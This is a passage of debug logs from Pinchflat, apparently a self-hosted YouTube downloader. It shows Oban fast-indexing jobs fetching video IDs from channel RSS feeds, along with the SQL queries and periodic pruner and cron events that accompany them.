s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:51:28.774 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 17:51:29.026 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:51:29.026 [debug] QUERY OK source="media_items" db=0.4ms idle=253.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 17:51:29.030 [debug] QUERY OK source="media_items" db=3.2ms idle=253.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 17:51:29.031 [debug] QUERY OK source="tasks" db=0.0ms idle=256.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [735, 3, ~U[2026-07-24 17:51:29Z], ~U[2026-07-24 17:51:29Z]] 17:51:29.031 [info] {"args":{"id":3},"id":732,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":259370,"event":"job:stop","queue_time":410955,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:51:29.031 [debug] QUERY OK source="tasks" db=0.1ms idle=1.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:51:57.337 [info] {"source":"oban","duration":452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:00.817 [info] {"source":"oban","duration":91,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:52:27.338 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:52:57.339 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:00.819 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:53:27.340 [info] {"source":"oban","duration":843,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:53:57.342 [info] {"source":"oban","duration":437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:00.819 [info] {"source":"oban","duration":100,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:54:27.343 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:54:57.344 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:00.821 [info] {"source":"oban","duration":206,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:55:27.345 [info] {"source":"oban","duration":478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:55:57.346 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:00.822 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:56:27.347 [info] {"source":"oban","duration":440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:56:57.348 [info] {"source":"oban","duration":550,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:00.823 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:57:27.349 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:57:57.350 [info] {"source":"oban","duration":581,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:00.824 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:58:27.351 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:58:57.352 [info] {"source":"oban","duration":497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:00.825 [info] {"source":"oban","duration":103,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:59:27.353 [info] {"source":"oban","duration":426,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:59:57.354 [info] {"source":"oban","duration":277,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:00.826 [info] {"source":"oban","duration":179,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:00:27.355 [info] {"source":"oban","duration":322,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:00:57.356 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:00.826 [info] {"source":"oban","duration":153,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 18:01:04.357 [info] {"args":{"id":2},"id":733,"meta":{},"system_time":1784916064357387708,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:04.357 [debug] QUERY OK source="sources" db=0.1ms idle=1357.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:01:04.357 [debug] QUERY OK source="tasks" db=0.2ms idle=1007.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:04.357 [debug] QUERY OK source="settings" db=0.0ms idle=358.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:04.358 [debug] QUERY OK source="sources" db=0.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:01:04.358 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:01:04.358 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:04.358 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 18:01:04.642 [debug] Media ids fetched from RSS: ["9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:01:04.643 [debug] QUERY OK source="media_items" db=0.2ms idle=285.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "9kAA8XDQJQc", "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s"] 18:01:04.643 [debug] QUERY OK source="media_items" db=0.1ms idle=285.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 18:01:04.644 [debug] QUERY OK source="tasks" db=0.0ms idle=285.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [736, 2, ~U[2026-07-24 18:01:04Z], ~U[2026-07-24 18:01:04Z]] 18:01:04.644 [info] {"args":{"id":2},"id":733,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":286904,"event":"job:stop","queue_time":60729,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:04.644 [debug] QUERY OK source="tasks" db=0.1ms idle=0.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:14.368 [info] {"args":{"id":1},"id":734,"meta":{},"system_time":1784916074368199753,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:14.368 [debug] QUERY OK source="sources" db=0.1ms idle=368.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:01:14.368 [debug] QUERY OK source="tasks" db=0.1ms idle=368.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:14.368 [debug] QUERY OK source="settings" db=0.1ms idle=368.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:14.368 [debug] QUERY OK source="sources" db=0.1ms idle=6.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 18:01:14.369 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:01:14.369 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:14.369 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 18:01:14.598 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:01:14.599 [debug] QUERY OK source="media_items" db=0.2ms idle=230.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 18:01:14.601 [debug] QUERY OK source="media_items" db=1.9ms idle=230.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 18:01:14.602 [debug] QUERY OK source="tasks" db=0.0ms idle=232.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [737, 1, ~U[2026-07-24 18:01:14Z], ~U[2026-07-24 18:01:14Z]] 18:01:14.602 [info] {"args":{"id":1},"id":734,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":233955,"event":"job:stop","queue_time":402977,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:14.602 [debug] QUERY OK source="tasks" db=0.2ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:27.357 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:01:29.383 [info] {"args":{"id":3},"id":735,"meta":{},"system_time":1784916089383040225,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 18:01:29.383 [debug] QUERY OK source="tasks" db=0.1ms idle=1006.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 18:01:29.383 [debug] QUERY OK source="sources" db=0.2ms idle=1383.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:01:29.383 [debug] QUERY OK source="sources" db=0.1ms idle=383.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:01:29.383 [debug] QUERY OK source="settings" db=0.1ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:29.383 [debug] QUERY OK source="media_profiles" db=0.1ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:01:29.384 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:01:29.384 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 18:01:29.551 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", 